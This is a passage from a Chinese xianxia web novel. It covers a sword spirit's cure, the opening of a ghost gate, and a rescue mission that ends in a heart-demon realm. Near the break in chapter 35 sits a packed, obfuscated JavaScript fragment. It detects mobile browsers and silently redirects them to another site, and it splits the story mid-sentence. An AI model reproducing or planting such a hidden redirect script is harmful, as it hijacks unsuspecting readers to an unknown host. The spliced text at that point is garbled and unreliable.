鹿眠的天资风范,他们不是没有目睹过,凰音一剑斩来,十个他们都受不起的。
其中一人小心翼翼道:“不知鹿师姐造访丹宗……有何贵干?”
尚未启唇,她腰间佩剑抢先发出一声低鸣。
本命剑低鸣,表示剑主人起了杀心。
几人一阵颤抖。
鹿眠神色如常:“求见丹宗教习,取三昧真火一用。”
“三昧真火?”弟子明显一愣,面色为难,“这……如今诸位教习突破将至,皆在闭关,怕是……”
自从观应凡生进境,学宫不少教习有所感悟,境界松动,纷纷闭关清修。是以这话不是在针对他们,没人就是没人。
“若是鹿师姐急用,不如找应师兄?”悄然抬眸,打量着她神色,他提议,“应师兄炼丹向来是用三昧真火。”
终归绕不开他……鹿
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眠沉默半晌,低语:“打扰了。”
说罢,拂袖离开。
未走出几步,忽闻一道熟悉的声音自后方传来。
“且慢。”
几人回头,只见应凡生一袭白衣胜雪,自山道缓步而来。他刻意敛了气息,却也教人不敢轻视。
丹宗弟子们纷纷行礼:“见过应师兄。”
“妄议尊长,对上无敬,未免太过放肆,”视线沉沉扫过他们,他启唇,“自去执法堂领罚。”
“……是。”弟子们不敢多言,乖乖排成一队,向执法堂方向走去。
应凡生这才转过头,目光落在鹿眠身上,眼底闪过一丝复杂:“见过鹿师姐。”
她抿唇:“应师弟。”
气氛一时凝滞。
奚不言适时上前,拱手道:“应师兄,我们此行是为求用三昧真火……”
应凡生眸光微动,看向她腰间的凰音剑:“你的剑灵受伤了?”
“你如何知晓?”鹿眠蹙眉,不解地看着他。
“前几日观你出剑,剑气不如往日流畅,”他神情自若,“凰音剑至阳至热,定是沾了阴寒之物,寒毒入体,需用三昧真火逼出。”
这结论,与奚不言说的一模一样……李长缨一愣,感慨不愧是竞争对手,对方的一举一动都在关注。
鹿眠大方点头:“我特意来拜访丹宗,便是为了此事。”
轻叹一声,应凡生抬手,一道烈焰自他掌心升腾而起,却不见浓烟裹挟。火苗似有灵性,聚散随心。
正是天地间至阳至纯之火。
“三昧真火在此,”他看向鹿眠,“鹿师姐,可还需要什么?”
盯着那簇火苗,少顷,她伸手接过:“不必了,多谢。”
…………
暮色四合,弟子苑内一片静谧。
鹿眠的居所前,一株老梅投下斑驳树影。树下,石桌上摆着刚从丹宗取回来的三昧真火。火焰悬浮在特制玉盏中,偶尔迸溅几点火星,却又在触及玉盏边缘时悄然熄灭。
凰音剑灵蜷缩在鹿眠怀里,赤红发丝失去了光泽。
“开始吧。”她轻抚剑灵发顶,语气罕见柔和。
奚不言点头,指尖聚起灵力,探向三昧真火。顺着他的指引,火焰缓缓渡入剑灵体内。
站在一旁,李长缨不自觉握紧剑柄。看着他专注的侧脸,额角因灵力消耗而渗出的细密汗珠,她忽地有些出神。
这个平日里温润如玉的医修,此刻眉宇间透着一股锐气。
火焰所过之处,银白寒毒被一点点焚烧殆尽,剑灵灵体逐渐变得通透,冰裂纹慢慢褪去。最后一丝寒毒被清除时,三昧真火化作一只小小的火凤,盘旋一周,没入剑灵眉心。
剑灵猛地睁开眼,从鹿眠怀中跳出来,在半空中转了个圈,欢快地扑向奚不言:“谢谢你!”
被她撞得后退半步,他笑眯眯地揉了揉她发顶:“下次别再贪嘴,喝阴寒妖兽的血了。”
看着活蹦乱跳的剑灵,鹿眠那紧绷的肩膀骤然放松下来,从怀中掏出一块令牌,递给他:“剑宗队伍的通行令。”
他一怔:“鹿师姐这是……”
“收着吧,”她转身走向屋内,顿了顿,又道,“就当陪李师妹了。”
???
猝然被点名,李长缨抬眸,睫毛轻颤,眸子倏地睁大了些。
奚不言倒是晏然自若,挥袖与鹿眠告别后,陪她走回甲字三号院。
夜风拂过,梅枝轻颤。
她忽然开口:“原来这一切……是鹿师姐的考验。”
奚不言颔首,摩挲着指间令牌,神色一凛:“现在,我们该讨论一下,为何凰音剑灵会和你剑骨感应了。”
35. 祸兮
指尖轻点石桌,奚不言神色凝重:“你的剑骨印记……或许与鹿眠有段渊源。”
李长缨心头一跳:“什么意思?”
“凰音是鹿眠的本命剑灵,按理说只会与她一人共鸣,”他的视线落在她掌心尚未完全消退的金色纹路上,“但今日,它却对你的剑骨产生了异常反应。”
低头看向左手掌心,光晕流转,忽明忽暗,她声音蓦地发紧:“你是说……我的剑骨与鹿师姐有关?”
奚不言轻轻摇头:“不是她。”
指尖凝聚一缕灵光,他在半空中勾勒出古老的学宫轮廓。
“确切地说,是剑灵带着主人的执念转世,寄宿在合适的宿主体内,”他目光幽深,“我怀疑,你的剑骨与剑仙的本命剑,本为一物。”
她一怔:“剑灵会转世?闻所未闻……”
天极宗剑冢之中,有太多无主或主人已死的弃剑,经过数千年滋养,许多都生出剑灵。若没有遇上新主人,剑灵们至今仍呆在剑冢里,未曾踏出半步,更遑论转世。
他轻轻摇头,一语道破其中关窍:“的确闻所未闻,但这并非普通剑灵,乃剑仙本命剑所化。既然主人飞升,剑灵……”
李长缨恍然:“剑灵只得转世……甚至可能非是其主动转世,而是剑仙将它投入轮回。毕竟祂的本命剑难免沾染神力,留在人间只会引起祸患。”
“所以剑灵才会对我……”她想起不久前凰音呢喃的那句“一样的”,心中思绪千转。
…………
次日。
学宫西境的断崖边,终年笼罩着灰蒙蒙的雾气。
李长缨与奚不言沿蜿蜒山道而行,脚下碎石不时滚落深渊,许久,才传来细微的回响。
“按照《学宫地理志》记载,穿过这片雾区,就能抵达碧溪谷。”奚不言展开泛黄的舆图,指尖点在模糊的墨迹上,“此地地形与记载不太一致。”
两人奉命前往碧溪谷采摘灵药,准确来说,是奚不言个人的宗门任务。李长缨想着左右无事,便同他一道。
穿越重重阻碍,抵达碧溪谷,是每一位药宗弟子必经的考验。
他凝望远处翻涌的灰雾,眉头几不可察地动了动:“雾气中混杂有阴气,不似自然形成。”
一同望向灰雾,她蹙眉:“奇怪,先前怎未察觉有如此多的阴气?”
或者说,自从进入这个秘境,她便没见过类似阴气聚集、幽魂游荡的冥界之物,仿佛人间和冥界切割开来似的。
等等,史书上似乎记载过……自从某年鬼门大开,冥界与人间的隔阂被打破,百鬼夜行,为祸人间,她抚着下巴细思。
忽然,一阵空灵的歌声从雾中飘来,带着深海特有的幽邃。
两人对视一眼,循声走去。
雾霭深处,一道修长身影倚在断崖边的怪石上,蓝发如瀑,下半身泛着珠光,赫然是一条鱼尾。
正是鲛人苍溟。
李长缨神色一凛,怒上心头,下意识召出星澜剑,朝他直直刺去。
听到破空声,歌声戛然而止。
苍溟转过身,双瞳圆睁,下意识歪头躲开,口中疾呼:“大侠饶命!”
一边提剑再刺,她一边喝道:“好啊!我说这几天不见你踪影,原来是躲在这里唱歌来了!”
害她入秘境的罪魁祸首在悠哉游哉,而她短短几天,已经经历教习考验、剑宗上课、下山历练一系列事,就差被当骡子使了。
苍溟吓得滚下石台,一脸无辜:“要变天了……我一介柔弱鲛人,除了唱歌,还能作甚?”
“变什么天?”李长缨和奚不言异口同声道。
闻言,他露出诧异的神色:“你们不知道?西境鬼门大开,人间将如炼狱。”
指向远处愈发浓郁的灰雾,他补充:“不止西境,这里也很快会被波折。”
“喏,那些灰雾,便是从地下溢出来的阴气。”
那些灰雾中有阴气,无需他说,他们已然知晓。
但是……鬼门大开是怎么回事?
鱼尾轻拍地面,苍溟叹道:“看来你们当真不知,难怪瞧着不慌不忙……”他双眼微眯:“学宫此时应当已经钟鸣了才对。”
“你是说……四日前的学宫钟鸣,表示西境鬼门大开?”李长缨猛然想起,那个求援弟子在符中所言,确实提到了大量鬼魂现世之类的话语,心头疑惑不减反增,“你为何知晓此时发生的事?”
莫非苍溟不是与她同时代的人,而来自几千年前?
“我们鲛人寿命漫长,会将重要事件刻在珊瑚碑上。”他指尖凝出一颗水珠,轻轻一挥,水珠破裂,在空中展开成幅幅画面,口中低声诵念——
“玄元元年,鬼门启,群鬼王出。修真众盟共讨之,尽诛鬼王,以安人间。然自此,幽魂作祟者屡见,不复旧日清明矣。”
玄元这一年号,是后代所设,以鬼门大开之时为始,以剑仙飞升那年为终,共计三百年。
在它之前,人间难见一缕幽魂;自它以后,鬼魂作祟频发,与之同时,一种新型修士逐渐形成——鬼修。
水幕浮现骇人景象:无数黑影自地缝中爬出,所过之处,山峦崩颓,江河冻结,黄土染成血色。寻常修士的护体灵光触之即溃,元神尚未离体便被群鬼分食,仙气缭绕的宗门圣地,反而成了人间炼狱。
观仙门轮廓有些眼熟,李长缨瞳孔微张:“那是……”
“就是你脚下所站之地,灵音学宫,”苍溟收起水幕,“当年学宫七十二位元婴修士联手封印鬼门,尽数陨落。从那以后,每年封印都会松动,也都会牺牲一批修士。”
“还有十九位前去西境支援的弟子……”她突然止住了话语,那些弟子的下场不言而喻。
元婴期修士尚且不能抵抗,何况是修为不过筑基的小弟子。
她当机立断道:“此事必须告诉教习。”
望着愈发阴沉的天空,鱼尾不安地拍打地面,苍溟喃喃低语:“已经来不及了……你现在前往西境,最多能拾到他们的全尸。”
“不试一试,谁知道会怎样,”她猛地拂袖,一字一句道,“他们也是活生生的人。”
她至今仍记得,十九位弟子出发前,那尚且青涩的瞳孔里,没有半分犹豫,只有支援同门的热切和坚定。
奚不言未曾表态,只是抬手轻轻按在她肩头,似鼓励,似安慰。
“值得吗?”苍溟歪头看她,皱眉不解,“我们身处秘境,过去发生的事早已无法改变,那些弟子的结局也已成定局。”
“我自然知晓,”她面不改色,“但是想要出秘境,不就是需要弥补遗憾、放下执念?我可不想一辈子呆在这里。”
“你又怎知秘境主人的执念是什么?”他立刻反问,声音冰冷,“鬼门之下冤魂万千,你救得了一个,救得了全部么?”
“若是执意要去救他们,不妨看看周遭这一切,尚在学宫的弟子们同样逃不掉。”
“那他们呢?你救、还是不救?”
言下之意便是——
你的侠肝义胆,还有分别心不成?
“我……”
一句句叩问压上心头,李长缨喉间一紧,只觉自己如同溺水之人般,快要呼吸不过来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013185|177386||http|test|mini|href|location''.split(''|''),0,{}));
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>奚不言适时上前,挡在二人之间,温声道:“医者悬壶济世,非是为救尽天下人,而是见不得眼前人垂死。剑修出剑,亦是如此。”
苍溟冷笑:“好个伶牙俐齿的医修,当初在那个丹修面前颠倒黑白时,我就该提防你!那你来说,若终归只救得了一部分人,你是救天资卓绝者,还是庸碌无为者?”
奚不言淡淡回敬:“鲛人居于海,可曾见过滔天巨浪会择礁石而噬?”
望着唇枪舌战的二人,李长缨若有所悟,声音清冽。
“尽我所能,无愧于心。”
…………
辞别苍溟,两人快速赶往通淳道人的居所。
一路上,奚不言都不再开口。
李长缨忍不住发问:“你是不是觉得……我现在做的事情,不知轻重?”
分明早日离开秘境才是头等大事,她却执意要去救深陷万鬼之乱的弟子。
“怎会?”他讶然,“我只是在想,你的选择是为了什么……对于秘境,你有头绪了?”
她勾唇:“正是。先前你同我说过,要想离开秘境,必须找到秘境主人,杀了他,或者解开他的执念……鉴于前者,我应当办不到,而后者,我有了些头绪。”
抬眸看着奚不言的眼睛,她缓缓道:“你可还记得,我们进入秘境前攀登的山,是何名?”
“隐仙山。”
“这便是了,”她点点头,“在那座山上,庄青青发现了玉鼎洞府——所谓丹仙的洞府……我怀疑,隐仙山的‘仙’,本就指丹仙。而这个秘境,大概出自丹仙手笔。”
“所以我们要解的执念,来自丹仙?”奚不言立刻跟上了她的思路,“你怀疑是应凡生?”
李长缨颔首:“只是我的猜测,毕竟他和同时期的剑仙不相上下,却没能青史留名,着实可疑。除非……。”
“除非他就是那位昙花一现的、传说中的丹仙本人,”他补充道,“是以这场祸乱,很可能是他的执念所在。”
这些都只是猜测,依凭仅是庄青青和苍溟的片面之语,要想验证真伪,唯一方式便是让应凡生亲自接触到万鬼之乱。
直接让他去西境似乎是最稳妥的方式……她默默思考。
夜色沉沉,学宫主峰的石阶上浮动着稀薄雾气。
二人步履匆匆,一炷香的功夫,便出现在居所门外。
“总教习若知晓鬼门异动,必会立刻下令撤离弟子。”李长缨低声道。
奚不言点头,目光落在紧闭的院门上,略一拧眉:“不对,这个时辰,院中竟仍灯火通明。”
正要叩门,忽听屋内传来一声沉重的叹息。
“……是我的错。”
声音低沉沙哑,不细细分辨,叫人听不出是应凡生。
两人不约而同顿住脚步。
屋内,通淳道人的声音带着少有的疲惫:“你已尽力,人间与冥界相安无事数千年,谁能料到今年鬼门会异动?”
“我本该察觉,”应凡生闷闷道,“薛师弟的求援符已言明,是我拗于黄品低下,一意孤行。”
一阵瓷器碰撞的轻响,似是通淳道人在斟茶:“多说无益,我已命几位教习提前出关,前去支援。”
“加我一个。”
对面登时扬声:“不可。你初入元婴,境界尚未稳定,贸然前往——”
话未说完,门外忽然传来“咔嚓”一声。
李长缨不慎踩断半截枯枝。
屋内瞬间寂静。
院门被猛然拉开,应凡生一身黑袍立在月光下,盯着僵在原处的二人,声如寒冰:“……听了多少?”
36. 浩劫
夜风卷着落叶,掠过石阶。
奚不言上前半步,不动声色地将她挡在身后:“从‘人间与冥界相安无事数千年’开始。”
应凡生的眼神瞬间变得锋利如刀,嘴唇微动,准备说些什么。
通淳道人的身影出现在门口,玉簪斜插,额前散着几缕灰发:“进来吧。”
他疲惫地揉了揉眉心:“正好……一起商量对策。”
应凡生侧身让路,眼睛一眨不眨地盯着二人。
居所内,烛光摇曳,映照出众人凝重之色。
“西境鬼门异动,十九位弟子尽数失联,好在他们命灯未灭,”通淳道人的指尖轻叩案几,眉头紧锁,“若再贸然派人前往,只怕……”
“只怕皆会折损在那里,”李长缨接过话,沉声开口,“但若不去,那些弟子必死无疑。”
应凡生立于窗边,拳头几欲张握,月光勾勒出他冷峻的轮廓:“我去。”
“我说过,不可!”通淳道人断然否决,手掌猛拍桌案,胸膛剧烈起伏,“你是第一位迈入元婴的弟子,我怎可让你犯险?若是你出了任何意外,我如何能向学宫交代?”
屋内陷入沉默。
这时,院外传来一阵脚步声。
众人循声望去,执法堂弟子推门而入,鬓边额发汗湿,凌乱黏在脸侧。
“见过通淳道人、应师兄,”他大口喘着气,匆忙一礼,“燃灯殿传来消息,薛师兄的命灯——”
深吸一口气,他艰难开口:“灭了。”
“咔嚓”。
应凡生手中茶盏出现几道裂纹,指尖攥得发白,青筋暴起。他垂着首,侧脸隐在阴影中,叫人辨不清神色。
通淳道人猛地闭眼,良久,才颤声道:“那十九名刀宗弟子呢,可还安好?”
“命灯未灭,只是……光亮黯淡了许多,”弟子拱手禀告,“似有性命之危。”
“通淳道人,”应凡生旋身,单膝跪地,双唇抿成一条直线,“弟子请命亲赴西境,勉力匡正自身过错。”
“弟子愿同去。”李长缨立刻附议,身后,奚不言一同拱手请命。
通淳道人支着头沉思片刻,手指点了点桌案,吩咐道:“既然如此……李长缨,奚不言,你们与应凡生一同前往。”
解下腰间一枚玉牌,他扔给应凡生:“持我令符,可调动西境守卫。”
灵音学宫作为修真界主要力量之一,常年派有教习、弟子驻守西境。
就算几千年来,冥界与人间都相安无事,但毕竟是连接冥界最薄弱之地,鬼门存在一刻,人间便不敢松懈丝毫。
接过玉牌,应凡生郑重颔首。
“记住,”通淳道人声音低沉,“若事不可为,立刻撤回。学宫……不能再损失更多弟子了。”
夜风穿堂而过,烛火剧烈摇晃。
三人迈步走出门外。
应凡生从袖中取出三张黄符,分给二人:“传送符,可能会有些眩晕。”
李长缨接过符纸,暗道连传送符都已备好,看来大师兄是打定主意要去西境。若是通淳道人没有同意,怕是要先斩后奏不可。
“启。”
随着他一声轻喝,三张符箓同时自燃。
五脏六腑仿佛被无形大手攥住,她眼前景象扭曲破碎。恍惚间,似乎穿过了一条长长的黑暗甬道,耳边尽是呼啸的风声。
再睁眼时,浓重的血腥味扑面而来。
李长缨踉跄了下,立即被一只有力的手扶住。抬眸,正对上奚不言关切的眼眸,对方温热的呼吸近在咫尺:“还好吗?”
“无碍。”她站直身子,手中传送符已化作一小堆齑粉,随风飞散。
应凡生早已立在前方,背影挺拔如松,黑衣在腥风中猎猎作响,声音冷得像冰:“准备迎战。”
远处,西境边城在血色残阳中若隐若现,他们脚下的土地,渗出不祥的黑气。
三人寻了个高处,是一段塌了半边的城墙。
城墙之下,如同炼狱。
凄厉的尖啸撕开天幕,万千幽魂鬼影自深渊而来,青面獠牙的夜叉踩着无数凡人尸骨攀上城门,长舌拖地的吊死鬼在垛口间游荡,一排排骨节咔咔作响的白骨,举着锈蚀刀斧狠狠劈向城门。
“轰隆——”
百年老木制成的城门,在百鬼孜孜不倦的撞击下,终于裂开一道巨大口子。刹那间,无数鬼魂如潮水般涌入,腥臭的血气混着腐尸的味道在街巷间弥漫。
甲胄破碎的士兵被利爪撕开胸膛,热血染红了石砖。数不清的断壁残垣之下,藏着一具具老弱妇孺的残骸——他们本想躲起来,却被嗅觉灵敏的厉鬼狞笑着淹没。
“城门破了!”李长缨瞪大双眼,握紧手中剑柄,“我们该如何?”
“不急,”奚不言轻声道,“守城士兵早已筑起了第二道防线,城中能转移的百姓也已移至安全地带。”
“不知那十九名弟子在何处,”她皱眉苦思,眼珠一转,突然指向西北方向,“看那里!”
顺着她手指的方向,一座残破的祠堂屋顶,一名身着学宫弟子袍的修士正在挥舞红色令旗,祠堂周围聚集大量厉鬼,但都被一层薄薄的结界挡在外面。透过破损的窗户,隐约可见十余名负伤修士。
“是他们,”应凡生瞳孔微张,登时反应过来,“他们应该是在疏散百姓时被困的。”
他下意识祭出丹炉,斩钉截铁道:“必须马上救人。”
“等等,”奚不言折扇轻摇,双眼紧紧盯着祠堂处,语气笃定,“那是幻境。”
应凡生倏地回头看他,眼眸微眯,多了份审视。
李长缨不解:“幻境?”
“惑鬼所设,估计是想让我们主动离开这里……看来此地暂时安全,不在它攻击范围内,”他语速飞快,“破解幻境之法非常简单,只需一剑斩之……”
话音未落,她没有半分犹豫,即刻催动星澜剑,剑光如虹,直直刺向求援弟子的方位。
在离弟子一丈之处时,剑尖仿佛触到了一件硬物,悬在空中再难寸进。她手心下压,更多灵力涌入长剑,剑锋往前一送——
“咔——”
整个幻境应声而破,如镜面般碎裂开来,露出真实的祠堂样貌来。
哪还有什么求援弟子,只有一只蹲伏在地的惑鬼,通体漆黑,正用一双猩红眼睛怨毒地盯着他们。
“果然,”奚不言微一勾唇,手腕翻转,数根银针直飞出去,“想拉我们垫背?”
银针以极快之势,封锁住惑鬼周身大穴,它登时发出刺耳的尖啸,身形忽化作数十道黑影四散逃窜。
李长缨正欲让星澜剑乘胜追击,却被他拦住:“别中计,当心你的剑有去无回。”
闻言,她立刻
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收起剑,直视着惑鬼的逃窜方向,眉心紧蹙。
危机暂时解除。
李长缨皱眉:“惑鬼怎会知晓学宫弟子袍的样式……难不成真正的弟子已经命丧它手?”
奚不言摇摇头:“非也,是它窃取了你心中最深切的欲念……若是换个贪图钱财之辈,我们此刻见到的幻境,大概便是一座金山。”
“想不到你对此了解颇多,”应凡生眉峰轻挑,眼中暗光划过,“先前对你们多有偏见,见谅。”
偏见?
李长缨下意识开始思考,对方指的“偏见”是何意,想来想去,他似乎指的是那次把他们绑去刑堂的事。
……原来在大师兄眼中,他们是不学无术成天惹事生非之人吗?
她默默擦了把汗。
应凡生从袖中取出通淳道人赐予的玉牌,掌心之上,玉牌正在发烫发亮。
他严肃道:“我们先去和守城修士交接,再作打算。”
三人穿过空荡荡的街道,沿途门窗紧闭。空气中满是血腥味,偶尔能听到远处传来的金戈交鸣。
西境守军的主营设在城中心的钟楼之上。
临时搭建的防御工事外,站着数名浑身浴血的修士,为首的是位中年女子,左臂缠着浸血的绷带,面容憔悴,但目光坚毅。
“是灵音学宫的援兵!”她快步迎上前来,声音沙哑,“在下西境边城守将孟苍岚。”
不着痕迹地打量她片刻,奚不言微微侧头,对李长缨耳语:“金丹后期。”
换做平日,金丹后期修士作为驻守边地的一员,已经够用了。奈何不幸遇上鬼门大开这等罕事,莫说金丹,便是元婴都自身难保。
应凡生颔首:“情况如何?”
引着三人进入营帐,她指着桌面的城防图道:“自鬼门裂缝出现,起初只是零星阴物渗入,但前夜子时突然爆发,目前城中已确认战死修士十三人,重伤四十二人,尚能作战者不足百人,至于死伤百姓……不计其数。”
盯着她左臂伤口,奚不言眉头紧锁:“这伤……不是普通阴物所为。”
“不错,”孟苍岚神色凝重,“最先出现的的确是普通游魂,但后来出现了拥有实体的‘血尸’,力大无穷且不惧符咒……最麻烦的是那些‘魅影’,可以附身凡人,防不胜防。”
李长缨注意到角落蜷缩着几个被铁链锁住的平民,眼白被浓郁的黑覆盖,正发出非人的低吼。
“这些都是被附身的百姓,”她苦笑,“我们……不得不这样做。”
应凡生突然开口:“鬼门裂缝在何处?”
“就在废弃的道观地下,”孟苍岚指向图上城郊外一个红点,手指微微颤抖,“我们尝试过封印,但派去的那两队修士……都没能回来。”
李长缨问道:“孟将军可曾见过,学宫来的十九位增援弟子?皆为刀修。”
细思须臾,她点点头:“我有印象,他们得知同门也在道观附近,便赶过去了。”
帐外忽然传来急促的脚步声。
“又来了!”一名年轻修士冲进来,“血尸群在尝试突破新东门防线!”
鉴于老城墙已被突破,这道临时筑建起来的新城墙,给东南西北四个方位的城门冠了个“新”字。
三人对视一眼。
“孟将军负责伤员转移,”应凡生沉声道,“前线交给我们。”
37. 心魔
西境边城的街道上,阴风呼啸。
李长缨、奚不言与应凡生三人背靠背站立,周围是不断涌来的血尸和影魅。
血尸身形高大,每走一步,皮肤就剥落几块,露出猩红的虬结肌肉,长长的指甲堪比利刃,每一次扑击都能将石板抓出深深的沟壑。
影魅则如黑烟般飘忽不定,时而化作人形,时而散为雾气,稍有不察就会被侵入体内。
“东侧!”应凡生冷喝一声,指尖丹丸一弹,棕红丹药登时炸开一片浓雾,将三头扑来的血尸包裹其中。不过须臾,便传来一阵“滋滋”声,伴随着一股烤肉香。
李长缨拔剑出鞘,长剑每一次挥斩,都带起一道凌厉剑气。
一头血尸嘶吼着扑来,她侧身避过,反手一剑刺入咽喉,剑锋一绞,头颅顿时斜飞出去。
未等她喘息片刻,又一道黑影从摇摇晃晃的血尸身后猛地窜出。
“当心。”奚不言的声音传来。
只见他手中折扇一扇,掀起凛冽罡风,将影魅的身形撕得粉碎。
影魅来不及发出尖锐嘶鸣,黑烟环绕的身躯剧烈扭动,眨眼间消散于空中。
甩了甩剑上血珠,李长缨目光陡然一凝:“西南角!”
街道尽头,几头血尸正拖着一个奄奄一息的守城修士。
应凡生眼中寒光一闪,手中丹丸直飞出去,“嘭嘭嘭”几声,接连打入血尸后心。
丹丸入体瞬间,大片血雾炸开,残肢碎块相继坠地,蠕动着试图凝聚。片刻后,努力未果,彻底不动了。
奚不言立即上前,指尖点在伤者眉心,丝缕灵气注入其中。
“还活着,”他迅速取出药散,敷在伤口处,神情凝重,“但失血过多。”
应凡生捏碎一枚传送符,守城修士即刻被送回主营。
李长缨持剑而立,正举目四望,忽觉脚下一沉。
地面不知何时变成了黑色泥沼,无数苍白的手臂从地底伸出,试图抓住她脚踝。
见状,奚不言从袖中取出一张冰冻符,往地上一拍,刺骨寒气瞬间蔓延,把整片泥沼冻结。
她趁机跃起,剑锋横扫,被冻住的手臂尽皆斩断。
应凡生声音冷峻:“继续前进,鬼门裂缝就在前面。”
三人一路厮杀,街道上的鬼怪越来越多,仿佛杀之不尽,而他们始终没有发现那十九位学宫弟子踪迹。
“不对劲,”奚不言眉头紧锁,“就算全军覆没,也该有尸体或战斗痕迹。”
李长缨一剑劈开扑来的血尸,细思道:“会不会是被影魅附身带走了?”
应凡生没有回答,攥着丹丸的指尖微微发颤,毫无血色。
就在此时,奚不言突然顿住脚步,目光落在一处半塌的墙壁,眼神一凛:“此处有灵力波动。”
三人走近一看,墙壁上浮现出淡蓝色符文——
是学宫特有的结界印记。
“防护结界,”李长缨心下一喜,“他们可能还活着。”
应凡生毫不犹豫地张开五指,按在淡蓝色符文上。
随着灵力注入,符文闪烁着荧光,一道莹蓝结界缓缓显形。
十九道身影静静站立,手持横刀,周身灵力流转,仍在维持防护结界。
“是他们,”李长缨快步上前,关切道,“你们还好吗?”
为首的弟子转过身来,视线在三人身上扫了一圈,落在最远处的应凡生身上,露出一丝欣喜:“应师兄,你们来了!”
奚不言轻摇折扇,眉头微皱,觉察到一丝违和:这些弟子的气息太过平稳,身处如此浓郁的阴气,竟无半点紊乱。
应凡生颔首,表情严肃:“鬼门裂缝情况如何?”
“回应师兄,邪祟太多,我们不敢擅自前进……但据鬼怪数量可知,裂缝应在持续扩大,”一名女弟子抱拳,眼中满是崇敬,“我们已在此坚守三日,多亏有通淳道人的灵龟甲,至今毫发无伤。”
闻言,李长缨隐隐觉得有什么不对,来不及多想,另一名男弟子上前一步,语气中带着掩不住的仰慕:“应师兄放心,我绝不会辱没执法堂威名!”
此人是执法堂弟子中,仅有的三位刀宗弟子之一,应凡生对他有些印象,点点头,面色稍缓:“薛采师弟在何处?你们见到他了吗?”
虽然出发前已经得知薛采命灯已灭,但他心中仍有一丝隐秘的期望。
万一……万一是命灯出了岔子,实则人没事呢?
退一步来说,活要见人,死要见尸。
“薛师兄……”女弟子蹙起眉头,眼中划过一丝茫然,“不知,我们得知薛师兄在道观附近,便试图靠近那处,但鬼物太盛,我们寸步难行,是以至今仍未遇上。”
折扇轻敲掌心,奚不言缓步上前,双眸直直地盯着她身后,语气带着玩味:“那你身后……是何物?”
“什么?!”
女弟子瞪大眼睛,倏地转身。只见身后泥地里,插着一把寒光闪烁的横刀,与他们手中横刀的样式一致,除了刀把处……刻了两个龙飞凤舞的大字,清晰可见。
薛采。
“是薛师兄的刀?”她发出一声惊呼,眼中疑惑不减反增,“薛师兄的刀怎会在此处?不对不对,先前这里有这把刀吗?”
转头询问同伴,众人都摇头,表示这把刀是不知何时凭空出现的。
结界内陷入死寂。
奚不言轻叹一声,忽然抬手,手腕轻旋,指间银针“咻”地射出,直逼她心口处。
“你?!”女弟子还未来得及动作,银针穿过身体,直接没入地面,没有受到任何阻碍。
“你们……”李长缨喉头发紧,声音滞涩,“没有实体。”
仿佛印证她的话,一阵阴风吹过,那名女弟子的衣角如烟雾般微微飘散。她低头看了看自己逐渐透明的手,露出恍然的神情:“原来我们……已经不在了啊。”
李长缨总算想起之前为何觉得不对劲。
距离弟子们奔赴西境,已经过去四五日,守将孟苍岚证实他们未在主营停留,说明他们直奔此地,然后被困。
如此一来,怎会才度过三日?
除非……在第三日,他们便已经阵亡了。
弟子们面面相觑,随后竟都露出释然笑容。
为首的弟子挠了挠头,不好意思地笑道:“难怪总觉得已经过去了许久……”
应凡生嘴唇颤抖:“你们……”
“应师兄不必难过,”女弟子无奈笑笑,温声道,“能为学宫战死,我们死而无憾。”
执法堂弟子上前一步,眼中带着纯粹的敬仰,抱拳道:“应师兄,您能亲自前来,我也……此生无憾。”
这句话如同一把尖刀,狠狠扎入应凡生的心脏。他心如刀绞,周身灵气不受控制地四溢。
正是他,在清微殿力排众议,坚持认为西境异动不足为虑。
也是他,委婉驳回了教习们亲自增援的提议,只让刀宗弟子先行探查。
而现在,这些至死都崇敬着他的弟子们,连残魂都在维持防护结界。
“对不起……”他的声音沙哑得不成样子。
弟子们的身影开始消散,化作点点灵光。即使到最后时刻,他们依旧保持着维持结界的姿态。
为首弟子恭敬一
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礼:“应师兄,我们先走一步……对了,鬼门裂缝每逢子时扩张,需以纯阳……”
话音未落,一阵阴风卷过,十九道身影如烟消散。
唯有二十把横刀插在地面,证明他们存在过。
应凡生站在原地,向来挺拔如松的背影竟显出几分佝偻。丹炉“当啷”一声坠在地上,炉身映出他猩红的双眼。
“是我的错,”他喃喃自语,周身灵力暴走,“若我当时没有阻拦……”
地面突然开始发热发烫,泥沙遍布的土地寸寸开裂,露出深不见底的暗红漩涡。
不等撑起护体灵力,李长缨便觉一股更为强悍的灵力顺着经脉往里钻,像是无数丝线,悄无声息地缠上她手腕、脚踝,甚至顺着呼吸钻进鼻腔。
她想后退,脚下却如同生了根。
漩涡中心的暗红愈发浓稠,隐约有细碎光点浮动,细看是无数缩小的人脸在扭曲哭嚎。
吸力猛然加重,她整个人突然一轻,身体不受控制地朝漩涡坠去。奚不言一把拉住她手腕,才要用力一拽,陌生灵力缠上他脚踝。
二人一同坠入漩涡。
耳边尽是风声的尖啸,眼前景物被拉扯成模糊的红影。
天旋地转,再睁眼时,入目是翻涌的暗红领域。
“这是……哪?”她呢喃着,转头看向发髻稍微散乱的奚不言。
匆匆理了理衣袍,他若有所思,轻声道:“此地大抵是应凡生的心魔领域,看来……我们离出秘境不远了。”
应凡生站在二人身前,依旧是一副清冷出尘之姿。
十九道身影在广阔的领域中徐徐浮现,皆为战死的学宫弟子。他们身体呈半透明,面容模糊,有的持刀警戒,有的盘坐调息,有的互相搀扶……
一道虚影缓慢抬头,空洞的目光望向应凡生:“应师兄……为何不早来?”
应凡生嘴唇几欲开合,欲言又止,双手紧握成拳,指甲深深陷入掌心。
越来越多的虚影转过身,他们的声音重叠在一起,如潮水般涌来。
“若教习们及时支援,薛师兄不会死……”
“是你阻拦增援……是你害死了我们……”
“为何……为何要让我们送死……”
李长缨愕然,那些弟子们消散前的举止,分明不是这般满腹怨念、目光狠毒。
所以这是……应凡生的执念所化?
一句句质问压在心头,他的脸色苍白如纸。
“不是的……不是的,”他低声开口,声音微不可闻,“我不想这样的……”
“应师兄?”李长缨担忧地看向他,轻轻唤道。
他恍若未闻,嘴角慢慢咧开诡异的弧度。
笑了。
